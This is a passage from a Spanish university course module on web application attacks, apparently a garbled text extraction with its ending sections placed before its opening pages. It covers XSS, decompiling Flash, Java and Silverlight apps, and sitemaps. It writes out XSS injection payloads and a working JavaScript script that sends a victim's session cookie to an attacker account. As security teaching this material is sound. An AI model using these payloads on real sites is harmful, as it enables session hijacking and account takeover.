res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 6: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web

Zone-H

El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados

El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban

Samy Worm y MySpace

El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm

Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace

El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil

En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

